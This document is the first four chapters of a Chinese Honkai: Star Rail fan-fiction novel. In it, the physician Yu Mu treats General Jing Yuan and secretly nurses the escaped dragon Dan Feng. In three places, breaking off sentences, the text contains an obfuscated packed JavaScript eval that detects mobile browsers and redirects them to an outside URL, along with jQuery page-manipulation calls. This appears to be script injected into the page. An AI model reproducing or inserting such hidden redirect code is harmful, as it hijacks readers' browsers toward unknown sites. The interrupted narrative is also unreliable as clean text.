《我的病人们又打起来了【崩铁】》 1. 第1章 “仙舟天人于无量寿中,遍历诸苦,五阴妄云,遮蔽心月,无明牵缠,身堕魔阴。*” 魔阴身,仙舟寻求长生的苦痛命运,使人心智沦丧,形如恶兽,凡堕入魔阴身者,不治不避。 薄旧的古籍在指尖捻过,风撩起平展垂落的竹帘,一缕光线探入房间。 郁沐偏头,避开落在眼睫上的刺目光线。 他合上《仙舟魔阴本纪年考》,环顾四周,本应在位的医士同僚们不知去向。 午后的岐黄署人影空荡,驻停杆上的机巧鸟也不见踪影,战时被余震波及到的地面砖石和房梁残角还没被补好,露出狰狞裂口。 仙舟追迹「帝弓」之锋镝,翾翔星海,孤旅迢迢,巡猎「丰饶」。 倏忽之战余波未消,饮月之乱接踵而至,罗浮局势动荡,丹鼎司人心浮动,由于丹士人手缺乏医治不及,战后伤者数量不减反增,求医问药的仙舟人能从行医市集排到波月古海尽头,一方难求。 倒是中庭之树一如往常,炎燧色的枝叶繁茂,看不出半点战火洗礼过的样子。 毕竟自「寿瘟祸祖」的孽力而生,建木根系中的一支,除非帝弓引弦,否则万载不移。 郁沐起身,结束例行的考据工作。 他拿出今早新买的金属部件,娴熟地给摇摇欲坠的书架换上,确保它短时间不会因受力不均而散架。 打量突出一块不太雅观的木板,郁沐叹了口气。 给工造司的维修申请已经半月没收到回复了,先将就用着,日子总还是要过的。 郁沐将最近看过的药典整齐摆回书架,拂过书脊,核对数目无误后,抽出一张空白药方笺,依照记忆洋洋洒洒写下几行字: 「重症失魂残方补全—— ……应将药方中苍茯苓3钱替换为山鬼薄荷2钱,取龙鳞珊瑚磨粉1钱、玄圃地黄提取液3分,调剂汤药,胶质冷冻风干后研磨制干粉,睡前服用,症状可除……」 写完,他将药方笺折好,穿上丹鼎司的外套,正欲出门,迎面撞见一人。 他的同僚之一,竹辉,一个整日神龙见首不见尾的家伙。 竹辉神神叨叨地念着什么,见郁沐要出门,便怪里怪气地道:“又去给将军看诊?” 郁沐点头,当作回应,擦肩而过后,对方轻声啧了一下。 “真是走运,区区一个医士,也不知道将军看上你什么了……” 放在往常,郁沐不会理会耳边琐碎无谓的嗡鸣,但这个问题显然应了他的好奇心。 他也想知道,那位算无遗策的神策将军,为什么非要他一个新晋医士担任常时丹医。 他甚至想,如果有人能接替他的工作就好了,这样,他就不用去神策府那个龙潭虎穴了。 所以,郁沐停住脚步,开口道:“竹辉,你替我当将军的丹医,如何?” 没想到会被听到,更没料到会被叫住,竹辉面上一僵,难堪地抬头,触到郁沐瞥来的目光。 郁沐的容貌并不惊艳,算是清秀,眉眼的弧度柔软,注视着谁时,本该是温和平静的,但他视线过于凝实,即便是轻瞥,也令人无端生出紧张感来,甚至有几分冷淡的睥睨。 一股没由来的压迫感如水般蔓延开来,如同波月古海刺骨的浪波,重压细密,无孔不入。 半晌没听到竹辉的回应,郁沐转正身体,倚靠在门口的矮柜上,伸出捏着药方笺的手,直视竹辉。 薄薄白纸印着些许折痕,微垂在空中。 竹辉的呼吸变得急促,不经意退后了一步。 “不可以吗?”郁沐轻声问着,字字清晰。 “做将军的丹医不辛苦,相信就算是你也能胜任,如果你想接替我的工作,我可以向将军递交辞呈,将军或许会答应。顺便,这是那位求医的云骑需要的药方,劳烦替我带给……” “开什么玩笑!” 竹辉的嗓音颤抖,手指紧扣桌角,那里有一块不知被什么东西啃过的缺口,木质倒刺嵌进掌心,他却浑然不觉。 “你是在嘲讽我吧?!” 嘲讽? 郁沐摇头,言辞严肃。 “为什么会这么想?我没有在嘲讽你,我很认真,恕我无法透露更多,但以你的医术一定可以。”说到这里,郁沐想到什么,补充了一句:“就是别犯像上次一样,忘记加水葵子磨粉导致药方失效毒性加剧的错误就好。” 说完这话,竹辉面色胀红,呼吸更为急促。 怎么突然更生气了? 郁沐打量着竹辉的怒容,不明所以地思索。 仙舟人好难懂。 “你这个得意忘形的家伙……” 竹辉恼羞成怒,咬牙切齿地撸起袖子,宛如一头随时会暴起的丰饶猿兽。 眼见事态不妙,郁沐后退一步,好在,来接他的云骑出现在了门口。 “郁沐丹士,将军有请。” 一身云纹银铠的士卒上前一步,挡住大门,话虽这么说,手中阵刀却对着怒容满面的竹辉。 利刃在前,竹辉眼中流出少许畏惧,瞪了郁沐一眼,便转身坐回了自己的位置。 直至出了岐黄署的大门,郁沐都没明白竹辉愤怒的原因,路过市集,三两休息中的丹鼎司医士聚在树下闲聊,远远看见郁沐身边的云骑,便背过身去,窃窃私语。 “又是他,这个月第几次了,就连医士长都没能给将军做常医,他凭什么?” “听说他是方壶仙舟来的人,后台比咱们硬,想也知道,神策府那种地方没点关系能进?” “管那么多干什么,上次要你配的药方琢磨出来没?那可是……的大计划,耽误不得……” “就差一味了,只要拿到……骨粉,就能……飞升……” “悠着点,兄弟姐妹们可不允许同胞相残……” 郁沐瞥了眼身边步履不停的云骑,意识到对方对远处的对话一无所知后,将手中折叠的药方笺递给他。 “这是?”云骑略微停步。 “重症失魂残方的补全版。”郁沐神色不变,眸光浅淡: “别信那些偏门秘方,小孩子吃了影响发育,这药方要连吃半月,才能彻底根治,否则以后可就当不成云骑军了。” 他字字平淡,如水滴溅潭时的回响。 身边同行的银铠发出晃动的声音,阵刀的光泽被树影覆盖,不再冰冷雪亮,那一刻,云骑厚重如山的脊背,似乎有了一瞬弯折。 手中的药方笺被珍而重之地接过,云骑的头颅低垂,铠甲发出细小的摩擦声。 郁沐眺望古海,并未开口,亦未回头。 过了许久,铠甲中传来一声沉闷的、略带湿意的“谢谢”,停顿几秒,又是一句:“您救了小女的命,我无以为报,如果您日后需要我……” 郁沐继续向前走,打断道:“不用日后,我现在有事想问你。” 云骑哽了一下。 “刚才, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14775809|157893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的同僚为什么生气?”郁沐认真问道。 云骑回头,顺着面甲的缝隙,看清了郁沐紧蹙的眉,以及眼下因为没休息好而生出的浅浅乌青。 经过这段时间的相处,他确信了一件事: 这位天赋卓绝、沉默寡言、内心善良温柔的丹鼎司医士,是个完全读不懂气氛的社交白痴,且总是能用平静的口吻说出嘲讽值拉满的话。 眼下,他果然在认真思索刚才发生的事。 云骑攥紧手里的药方,重症失魂本就是疑难杂症,在前往丹鼎司求药屡次碰壁后,他已然绝望,可眼下,千金难求的药方就在他手中…… 云骑看了郁沐一眼,这个年轻的仙舟人脸上流露着纯粹的困惑。 “或许丹鼎司的医士们都在奋力争取攀向高处的机会,您却轻易地拥有了他们千百载梦寐以求的前途,还表现得如此……不在意。” 云骑斟酌道:“总会有人愤懑难平,生怨生妒。” 郁沐垂下眼帘,许久未出声,正当云骑以为自己的解释太直白,戳伤了医士的心,打算补救时,突然听对方喃喃: “可恶,我还以为终于不用再给将军看病了。” “空欢喜一场。” “……” 等等,这个口吻,将军难道是什么人嫌狗厌的东西吗? 云骑攥紧了阵刀,看在兜里的药方笺价值千金的面子上,他深吸一口气,问道:“您讨厌将军吗?” “说不上讨厌。”郁沐缓慢回答,“只是……将军是一位巡猎令使。” 而他,恰好是一位丰饶令使。 令使行于命途,禀受星神感应,蒙受星神垂青。 「岚」斫断建木,断绝「丰饶」之孽,仙舟将军与联盟元帅以身作矢,踏上追猎;而「药师」令诸有情,所求皆得,郁沐诞自混沌繁叶,见鳞渊潮动,方得醒觉。 一位麾斥天戈、妙算无遗的巡猎令使在近旁,郁沐不可能不担忧。 他只是想过平凡生活,为什么如此困难。 曾经还好,他居住于长乐天,有房产家业、仙舟公务员编制、上三休二、五险一金。工作场合人际关系虽然有些复杂,但胜在可以手动清除,加之身体健康,没有魔阴身困扰,日子算得上幸福美满。 但倏忽之战后,一切都变了。先是家里房顶被流矢撞断,后是工作业务急剧增加,不仅要在流矢和丰饶民绞杀一团的战场穿梭捡垃圾,还要在更为危机四伏的后方做建设工作。 最致命的是,由于民生凋敝,外患内乱不断,丹鼎司已经三个月没发工资了! 再这样下去,他家房顶到底什么时候能修好? —— 神策府一如往常般恢弘,严正肃立的云骑分列两侧,殿中巨大的虚影棋盘伫立,厚重的威压扑面而来。 还未入殿,便见五位额生双角,奇装异服的老东西走了过来,一个个吹胡子瞪眼,气愤地说着什么。 郁沐恭敬地站在侧方避让。 来人是持明族的龙师们,应是刚与神策将军商议完要事,可惜看这表情,八成没得到好结果。 持明…… 郁沐悄悄抬眼,视线在龙师们额间的双角掠过,下一秒,那对双角的主人便回过头,破口大骂,声如洪钟: “该死的小贼,要让老夫抓到是谁劫走了丹枫那罪人,老夫必要他尝遍万死!” 郁沐敛眉垂眼,像一朵生长在神策府角落里不起眼的无辜蘑菇。 2. 第2章 持明一族,乃「不朽」之龙裔,与仙舟结盟,龙尊临凡,守望寿瘟祸迹。 自龙尊雨别以古海之水镇压建木,持明一族在仙舟得到接纳。而「饮月君」丹枫,擅动化龙妙法,造作兵祸,滋生孽龙,涂炭生灵,使鳞渊封印松动,罪极至此,应受蜕鳞轮回之刑。 可几天前,幽囚狱中负责看押重犯的十王司却发现本应在狱中收押的「饮月君」丹枫,竟然不知所踪了。 此事严重性不亚于建木复生,云骑与持明派出大量人手追查,至今没有罪囚丹枫的下落。 怒极的持明龙师恨不得住在神策府,仿佛天天缠着神策将军,就能顺藤摸瓜找到丹枫的龙尾巴一样。 毕竟,谁不知当今神策将军曾与丹枫等四人合号云上五骁,关系匪浅,要说丹枫的下落,将军不可能全无头绪。 只可惜,这神策府威严肃穆,光洁如镜,连一片龙鳞都找不出。 郁沐盯着绛红色的地毯,视野里,龙师们走过一级级台阶,衣摆摩挲,耳边的怒骂也越发明显。 “风浣,现在抱怨也没用了,当务之急是赶紧捉回丹枫,一旦化龙妙法和重渊珠落入他人之手,持明的存续恐怕就……” “你以为我不知道吗!要不是你们过分放纵,怎会有今日之事……一个丹枫看不住,连一本古籍也看不住!那可是我族重要的典籍,却能轻易叫贼人偷去……!” “你这是什么话?当时那贼人窃盗重地要物时你不也在场吗,你也没说抓住那贼人的尾巴吗!” “诸位龙师莫要在争了……” “闭嘴涛然,天天当理中客烦不烦?这次丹枫脱狱你也脱不了干系!要不是你没能从罗浮手中抢回丹枫的羁押权……” “我警告你,你不要血口喷人!” “嘿!收拾不了丹枫那逆贼,我还收拾不了你吗!” (撸袖子声) (互扯头发声) (斥责打骂声) (撒泼打滚声) “……” “这里是神策府,竟敢在此处叫骂,成何体统!!” 很有精神的云骑侍卫长放声长喝,龙师哗然,兵刀碰撞,争吵声直到神策府大门关闭才消失。 “……” “就这么把龙师们赶出去不会有失体面吗?” 郁沐抬头,走入大殿时,悄悄问了身旁的云骑一句。 云骑身形一晃,未回,郁沐察觉到了什么,正要往侧边看,只听上首桌案前始终寡言的景元道: “无妨,体面再怎么不容有失,龙师近来也失过多回了。” 那始终立于上首、纵览全局的神策将军,将目光落到了郁沐身上。 郁沐向景元行了个礼,对方并不拘礼,只是如往常般平和地看向他,瞳中鎏金,视线锐利,仿佛在忖度什么,却又在人想仔细弄清时敛去一切锋芒。 郁沐错开景元的视线,低头,将例行使用的药箱打开,敷衍道:“将军所言极是。” 景元无声一笑,在郁沐准备东西的空档,自顾自道: “丹枫脱狱,劫狱者至今下落不明,据十王司的报告,幽狱之底有重兵把守,理当插翅难飞,可贼人偏是将丹枫完好无损地窃走,现场只留下一枚银杏叶,实在匪夷所思。” 郁沐:“将军在大庭广众说这些,不怕被安个渎职泄密的罪名吗?” “这些话,这神策府里的云骑军已经听龙师们翻来覆去许多遍了,不差我这几句。” “……”郁沐叹了口气,即便不抬头,也感觉得到落在自己身上的视线何等灼热。 他不发一言,只是恭敬地隔着绢帕,搭上景元的脉。 强劲有力,内气生发,毫无亏虚晕眩之相。 果然,之前遣人来请医说自己梦魇抱恙心火郁结忧虑难眠什么,都是骗人的。 “郁卿可知,自倏忽之战后,持明屡蒙重灾,先是饮月之乱,而后罪人脱狱,最近又遗失重要典籍,据说盗典者也曾……” “将军,再这样下去,您就该改名‘闲话将军’了。”郁沐收回手,折好绢帕,从箱子里取出一袋隔油纸包装的物什,打断景元:“这是此次的药方,一日一丸,饭后送服。” “与平时的不一样?”景元似乎露出了几分笑意。 “不一样,这是以太子参、仙体陈皮、虚陵丹果熬煮凝练而成的药丸,功效甚好。”郁沐逐一解释。 “很是难懂的药名,果真是术业有专攻,郁卿真是医术精湛,药到病除。”景元非常捧场道,“不过,这次的药方笺有些简略,具体功效是什么呢?” “开胃消食。”郁沐认真地注视景元,视线明亮如仙舟天气系统模拟出的阳光。 景元的表情有些莫名,但郁沐不擅长分析情绪,便继续道: “上次的药方是,上上次的药方也是,那么长的药方笺,将军该不会从没遵医嘱服药吧?” 神策府有片刻的沉默,许久,景元恍然大悟: “原来是健胃消食的药丸,怪不得咪咪最近食量大增,体格滚圆,而非青镞所说,是毛发太多导致的……” “毛发太多也算是原因,毕竟这个季节快到狸奴的换毛期……不过,今日似乎没见到团子。”郁沐被带偏了话题,蹙眉,回忆地喃喃:“以往几次来,那小家伙应在榻上才对。” “因为昨日无论如何也查不到原因,便交给青镞,进行了些毛发修剪的工作,这会躲着不见人。”景元道,“原是如此,早知让你提前一天来好了,咪咪也不至于在我怀里哭叫一晚上。” “……” 一晚上,到底剪成什么样会至此地步? 郁沐脑海中飘出那小白雪团子原先的模样,心情略有沉重。 这群仙舟人该不会把人家毛给剪秃了吧。 抬头看向景元,斟酌良久,郁沐孤注一掷: “将军,您身体无恙,除多忧虑外一切正常,您若不信任我的医术,可请其他相熟的丹士来,省得您疑心药方,徒增烦恼。” 他说完,神策府的空气冻结了一瞬。 景元发出很轻的一声气音,闭目片刻,再睁眼时,情绪如水面涟漪,一拂而散。 “只是制好的成药被贪嘴的狸奴叼了去,何来不信任一说?郁卿言重了。” 看着景元唇畔恰到好处的弧度,郁沐便敛下眼,不再说了,心中颓败感不可抑制地滋生。 递交辞呈又又又又失败,这是第几次了? 景元此人,总有四两拨千斤的气度和招数,以力抗衡必会自损,智取……凭他的才能,又难以取胜。 这不,景元的下一句话,再次令郁沐意识到了自己与这位巡猎令使谋略上的鸿沟。 “不过,郁卿既懂玉兽药理,正巧最近咪咪总撕咬家具,就劳烦郁卿下次来诊断一二了。”景元颇为信任道。 “下次?” 郁沐的表情有一瞬崩裂,他喃喃:“还有下次?” “是的,还有下次,辛苦你了,郁卿。”景元的声音里藏着几分笑意,鼓励般拍了拍郁沐的肩膀,将他送出门去。 说实话,直到离开神策府,郁沐都还有几分恍惚。 他觉得自己被骗了。 仙舟联盟应当是和博识尊交换了令使,只是没来得及通知他。 帝弓司命,狡猾如斯。 —— 出了神策府,由于未到放值时间,郁沐理应在云骑的‘护送’下返回丹鼎司,但显然,自从离开神策府,郁沐能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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郁沐站在栏杆前,抬头望着天上来去的星槎,梭状长舰劈开天幕,向宏伟无边的界门而去。 饮月之乱结束后的某天,他也在家中,望向天空中那群载着逝者遗物的星槎舰群奔向星海,一如巡猎的锋镝,永不回头。 正似今日一般。 —— “很抱歉,让您见笑了。” 丹鼎司门口,鹤长不太好意思地对郁沐说。 “没关系,人总要有个情绪宣泄的过程,至少你现在看起来比我们一开始见面好多了,放心,我很快就会忘记你蹲在长乐天地上哇哇大哭的……”郁沐善解人意道,可惜被打断了。 “我没有哇哇大哭!”鹤长的面甲发出恼怒的咔嚓声,“云骑是不会哭的!” “我知道,你们受过专门的训练,不会哭,但人还是……” “没有但是!” “……” 你们云骑,祖传傲娇呢。 送走鹤长,郁沐在丹鼎司里绕了一圈,打卡下班,转回了长乐天。 本来想中途就翘班回家,奈何要顾及鹤长的任务,只好刷刷玉兆步数,好在时间不算晚。 郁沐的家在长乐天,一处带院落的宅子,环境幽静安宁,刚置办时价格不菲,郁沐没能全款买下。后来宅子被曝出曾是药王秘传密谋的窝点,房价一跌再跌,郁沐捡漏入手,有了个定居之所。 推开厚重门扉,中庭有一棵枝繁叶茂的树木,其叶苍翠,树冠如伞。树下有一处浅浅的水洼,水体清澈至极,状似活水。 估计是以前药王秘传为了炼药偷偷打的井,这要是被地衡司知道了,罚单可以贴满整扇门。 郁沐绕过水洼,踏上外廊,站定在门前。 他闭目屏息,确认方圆十里没人对此处戒备留意,随即打开了外室的门。 光线顺着门敞开的角度在地面铺砌光带,昏暗卧室中,一对泛着光的剔透龙角若隐若现。 恍惚间,郁沐听见了龙吟。 3. 第3章 那是一条气势凛然的龙,以云吟之术所化,身袭苍水,龙角粗壮盘曲,凌厉龙睛如灼烧着碧火的玉石,龙息吞吐,正戒备地看向来人。 没过几秒,龙吟再度嘹亮,狂暴的苍龙自高处俯冲而下,裹挟着云呼雨啸之势。 空气中凝出饱满的水珠,漂浮在龙身周围,受云吟之法感召,化为万千水刃,向郁沐袭去。 云水之气扑面,房间内霎时下降了好几度。 郁沐面色不改,与苍龙对视,抬起右手,自苍龙张开吻部袭至面前的刹那攥拳,横击。 柔软的手掌如同重锤,顷刻打散了云吟所化的龙头,云吟术气势不减,试图绞住郁沐的手臂,却见郁沐抬手,径直张开手指,探入刺骨的苍水中。 在水中捞了几下,旋即,他握住了什么。 空中浮动的水体骤然凝滞,如同海底悬停的气泡,水壁正隐隐颤抖,荡漾不休。 郁沐垂眸,手臂一抬,竟从利刃般的水龙身躯中抓出了一条纤细的……苍龙。 哗—— 失去驱动力,云雨消弭,硕大龙身如雪花般消融,只剩一地水痕。 郁沐垂眸,打量着手中不断挣扎、龙身卷曲的苍龙,无奈地叹了口气: “不是说过,以你现在的伤情,不要贸然驱动云吟……啊。” 话还没说完,就觉手指一痛。 虽然被郁沐的手指捏住七寸,但过长的、柔韧的龙身依然能弯折到一个不可思议的角度,使它能轻易咬住郁沐的手指。 “松口。”郁沐的声线压低了几分。 苍龙睁开翠绿色的眼睛,那总带几分高傲与冷清的眼里,流淌着浓浓的蔑视。 “呵。” 郁沐头上鼓出一道细细的青筋。 与这家伙打过好几天交道,早明白对方是什么脾气的郁沐哼了一声,手指微曲,无视利齿在皮肤上的摩擦的不适,强硬地将一小半骨节都塞进了苍龙的吻部里。 被卡住喉咙,持明有些不适,想要松嘴,却被郁沐另一只手捏住。 “喜欢就多咬一会吧。” 持明的眼睛比刚才睁得大了少许,似是震惊,它用细长的龙尾不断抽打郁沐的胳膊,但无济于事。 郁沐环视四周,看着被龙打滚压塌的花瓶、像被洗劫过的衣柜、床榻上浸水了的被褥、狼藉遍地的药粉……最后,垂眸,平静地用视线凌迟还在扭动的龙。 罗浮龙尊,掌苍龙之传,行云布雨,膺责守望不死建木,尊号「饮月君」。 据说当代龙尊丹枫性情冷淡,禀赋卓绝,即便铸成大错,也傲骨天成,何至如这般…… 郁沐用手指刮了刮苍龙的前吻,探入龙的舌底,指腹抵着牙尖,来回摩擦了几下。 是很尖锐的。 难怪能这般恃齿行凶,三番五次给他的手指咬个对穿。 虽然不想承认,这条龙的确是「饮月君」丹枫没错,至少郁沐从幽囚狱将对方捡回时,还保持着人类的姿态。 幽囚狱阴寒湿重,鬼气森森,各处都阴沉压抑,唯有对方头顶清冷剔透的龙角,在满是囚锁铁链的暗室中闪着光。 那光比炬火魂灯更明亮,被月华日曜更夺目。 郁沐喜欢光亮,喜欢水汽,喜欢一切能令万物丰饶的东西。 当然,最重要的是,郁沐喜欢龙。 无论是行云布雨的龙,还是囚室屏息的龙,他都喜欢。 哪有仙舟人不喜欢龙龙的呢? 郁沐拉开窗边的椅子,在自己的临时工作角坐好,将饮月放在桌上。 重获自由,提前预感到了什么的饮月立刻驱动云吟之术,水汽尚未成型,就见桌案上不知何处,生出几支泛有金黄色嫩芽的枝条,刹那间便将饮月缚住。 饮月的身躯细长有力,但蜿蜒虬曲,无法全部平铺在桌案,大半条尾巴垂在地面,不安地拂动。 地上还有未清理的水渍,龙尾来回摇晃,水液便不断往郁沐腿上泼。 郁沐掀开隔水罩笼,翻开古籍,拿出昨天装配研磨好的药粉,扔进研磨杵中,一边推碾,一边精准踩住饮月的尾巴。 龙发出一声极细极弱的呻吟,留心听,能发现几分屈辱和恼怒的意味。 郁沐翻开手边残旧的《化龙籍典》,循着古老文字,再度确认自己的判断:按持明古书上记载,这般毫无神智、仅凭本能行动、恶魇躁狂的龙身态,多是龙狂的后遗症之一,需要细心调养。 至于怎么调养……书上没说。 这真的是持明代代相传的龙尊必读书吗,为什么关键答案全是略? 罢了,先进行今天的治疗工作吧,除去龙狂的症状,饮月所负的伤也不轻。 研磨杵在桌面来回碾压,石质道具沉闷的声响中夹杂着苍龙有规律的吐息。苍龙闭目,每当研磨杵停下,带有覆膜的龙瞳便会睁开,精准锁定在郁沐的手指上,威胁般竖起瞳孔。 可惜,如果它没被锁在桌案上,这骇人的威相还能有几分震慑力。 药粉研磨完毕,郁沐对照药典,调配有舒筋愈骨之效的软膏。 取来热化皿,文火加热,搅拌,炼制膏状,正要冷却,发现家里的冷却仪不见了 。 郁沐无奈地瞥了一眼饮月,苍龙酣眠,不问世事…… 个屁。 “饮月,我的冷却仪呢?”郁沐捏了捏饮月露在外面的龙爪。 几乎瞬间,龙爪收了回去,速度快到显出残影,云吟覆水,把郁沐碰过的位置冲刷了一遍。 郁沐一手端着炼制一般的器皿,无声地盯了饮月几秒,无所谓道: “没有冷却仪,这舒筋膏也可以使用,省去冷却一步,龙质草的热效反倒会加倍,愈合效果更好,既然你愿意忍耐,我自会尊重病人的选择……” 听到这,饮月瞬间睁开眼睛,愤怒地朝郁沐咆哮。 “看来睡得也不沉呢。”郁沐点头,将器皿端到饮月的龙头面前。 “龙尊大人,请吧。” 饮月,饮月在一龙头掀掉这该死的器皿和委曲求全间,被迫,选择了后者。它摄人的锐瞳将郁沐平静的面容狠狠在脑海里刻了一遍之后,眼不见为净般别过头去。 一团云吟召来的水雾包裹器皿,热烫的软膏逐渐冷却,十几秒后,水汽消散,铁钵外壁连一丝水滴都没留下。 干爽如初。 郁沐用挑针捻了一丁点在手背上试药,软化温度绝佳,冷却时间拿捏得刚好。 他满意地放下器皿,取出上药的工具帘,随口道:“云吟之术的确玄妙, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14775811|157893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 龙尊大人,能否把这间屋子里其他被水泡过的东西也帮忙抽湿一下呢?” 饮月连一个哼声都不屑于给郁沐。 “好吧。”郁沐看得开。 他将桌上可伸缩的灯罩往下拉一拉,确保光线充足,而后,轻柔地用手覆上龙鳞。 饮月的龙躯一颤,它的牙齿紧抵,眼下那抹绯红色艳得像是在滴血。 苍龙之躯下迸发着强劲的生命力,光滑的龙鳞如同削薄剔透的玉石,在柔光中泛着氤氲水色。 手感起初冰冷,复而温热,如同层层垒叠的拨片,轻轻一碰,饮月便会发出沉闷短促的龙吟。 饮月此时的龙身盘曲纤细,却有着任何神兵利器都无法穿透的恐怖韧性和强度,龙鳞更是如此。 一开始,郁沐没意识到这个问题,在鳞上涂抹伤药后便作罢,直到第二天鳞下组织发炎,他才意识到对付持明,尤其是化为原形的持明龙尊,不能使用寻常方法。 虽然,拨开龙尊的鳞片什么的,属实大不敬,但不敬就不敬了,也没敬过。 拨开鳞片的一瞬间,饮月骤然睁开了眼睛。 无论做过多少遍,龙质草的热效触及伤处,灼烧感蒸腾而起时,仿佛能蔓延至五脏六腑的热意炙烤着这具冰冷之躯,令它不得已绞动起来。 细嫩的枝条从桌案抽出,进一步捆住激烈挣扎的龙躯。 饮月喉咙里发出的细若游丝的气音,在郁沐的手指拂过鳞下时变得愈发明显。 郁沐不为所动,他先是用手指涂平软膏,待膏体融化成水后,取出挑针,仔细地擦拭鳞片与鳞片交界处的缝隙。 工程量很大,一开始,饮月还能勉力配合,但后来,郁沐托起对方的尾巴,沿着受伤的尾部边缘上药时,对方一个暴起,一尾巴直接把郁沐掀飞了。 郁沐后翻身落地,稳稳接住在空中翻腾三周半的铁钵,喃喃道:“医闹可不行。” 说着,原本蛰伏的枝叶陡然散发金光,压制住了翻腾不休的持明。 因疼痛和热意狂吼不休的饮月发出绵长的龙吟。 经历了这么一遭,原本有点耐心的郁沐将铁钵一放,取了一坨药膏,覆在掌心软化。 待差不多变成流体状时,便左手抓住饮月的龙角,向上一提,力道之大,逼迫对方抬起沉重的头,右手按在了对方胸腹的硬甲上。 龙吟声变得压抑了,似是不适到极点已无暇再耗费体力啸叫,很快,龙躯停止颤抖,眼底那抹绯色被水浸润,变得如枫般火红。 终于结束了。 “睡吧。” 郁沐擦干净双手,坐在筋疲力尽的持明身边。 他调配出的药物见效相当快,一会功夫,发散的愈合效果便抽空了饮月的体力,自愈开始,混沌来袭,饮月眨了几次眼,便沉沉睡去。 睡前还不忘转头,躲开龙角上那只偷偷摩挲的手。 偷摸没成功的郁沐面色如常,在确定饮月短时间内不会再醒来后,重新覆上了对方的龙角。 据说,只有持明龙尊才有这样温玉般光滑剔透的双角。 郁沐的手指绕着左侧单角,缓慢、仔细地用触感丈量,半晌,他支着头,平生第一次如此渴求一个答案: 持明龙尊的龙角,是什么口感? 4. 第4章 压下舔上去的冲动,郁沐颇为遗憾地把手指和眼睛从饮月的龙角上撕开,临走时还意犹未尽地捻了下指尖。 休息片刻,起身,任劳任怨地打扫房间。 用扫帚扫干净药粉,整理翻倒的药罐和器皿,取来水盆,拧干毛巾,擦拭地面的水痕。 做完这一切,他将厚重的被子抱进烘干房,点开界面,选择日光模式,热风,烘干房内瞬间暖呼呼的。 郁沐打了个呵欠,他喜欢温暖的地方,这与他无忧无虑、每天除了晒太阳就是仰望寰宇的过往有关。 他在角落坐下,头枕着膝盖,舒服地闭上眼睛,再次醒来时,机器早已停止运转,一床散发着淡淡花香味的被子静静搭在晾衣架上。 取下被子,回到卧室,铺好,拢平褶皱,郁沐抬头看向桌上脑袋和尾巴都悬空的持明。 持明的睡姿真是狂野,不会落枕吗? 丝毫没想过桌上的持明究竟拜谁所赐才落得如今的姿势,郁沐走到桌前,手掌托住饮月沉重的脑袋,臂弯夹着龙躯中段,整个给抱了起来。 重心有了落点,沉睡中的饮月前吻微微开合,溢出低沉的龙吟,尾巴往上一抬,熟练地缠在了郁沐的腰上,卷了三圈,悬空晃荡,不沾一丝地面。 龙头则顺着郁沐手掌搭着的部位一靠,龙角以一个刁钻的角度,戳进郁沐腰窝,卡住不动了。 被当成葡萄藤架的郁沐沉默片刻,回忆自己曾在仙舟神话里看过的内容: 传说上古巨蟒绞杀猎物时也是这个姿势,难不成,饮月其实,超级讨厌他来着? “……” 郁沐的手指不安地动了动。 不会,他才没有被讨厌。 肺部被压迫,郁沐呼吸困难,好在工作桌离床褥不远,他艰难地挪了几步,跪地,将饮月放到铺好的被褥上。 接触到干燥的被子,饮月将头埋进被子夹层,两道粗重的龙息后,细长龙躯从郁沐身上解下,整个钻了进去。 郁沐看着被褥里鼓起的小丘,平复呼吸后,正要离开,突然又想到什么,掀开了被子的一角。 龙角。 他拿起桌上的《化龙籍典》,放在枕边,翻到持明生理构造的章节。 “理论来说,只有持明族的龙尊才有龙角。” 郁沐捏住饮月的龙角,回忆白天在神策府见过的龙师的样貌。 双角。 龙师额间也有双角,但看上去,与饮月的不同。 “似乎没有这么光滑,自然,以及……” 郁沐的手指下移,修剪圆滑的指甲轻轻抵在龙角根部,那一圈由内生发的金色纹路上。 绝对信任自己的记忆力,郁沐笃定,龙师的双角上没有这种纹路,整体色泽也更暗沉、浑浊,不是剔透的青玉色,泛着少许金黄,形状略有畸形,带着虚幻之感。 持明族与仙舟人共栖已久,龙师近来多次出入神策府,景元将军又曾与丹枫是挚交旧友,不可能察觉不出异状,但对方明显没什么反应。 看来问题不一定出在那边…… 眼看着事态朝着相当棘手的方向发展,郁沐果断停止了思索。 只要他不继续深究,烂摊子就追不上他。 手中静置的龙角传来少许抵触的力道,郁沐视线一垂,发现是自己在思考时无意识地反复盘弄龙角上的纹路,用力重,饮月恼了。 但恼归恼,沉睡中做不得反抗,对方也不过是只好把脑袋往被子里再埋一埋罢了。 心道对不起,手上安抚的动作却极其敷衍,郁沐用指腹囫囵揉了揉,合上被子,走向厨房。 清洗蔬菜,拿出昨天下班回家时买的云卷貘的肋条骨,切成块状,放入参堂、绥园生杞、乌紫芝,砂锅熬煮入味,小火慢炖。 将黄石牛的牛杂切碎,倒入独家酱汁,爆炒出锅。 淘米,闷一锅仙舟特色黏米饭,加水必须用产自鳞渊境的天然饮用水,原因是上次打折促销买多了用不完。 烹饪的香气浓郁,从厨房飘满整个院落。 晚餐顺利解决,忙碌了一天的郁沐坐在外廊的地板上,静静地望着日落西沉。 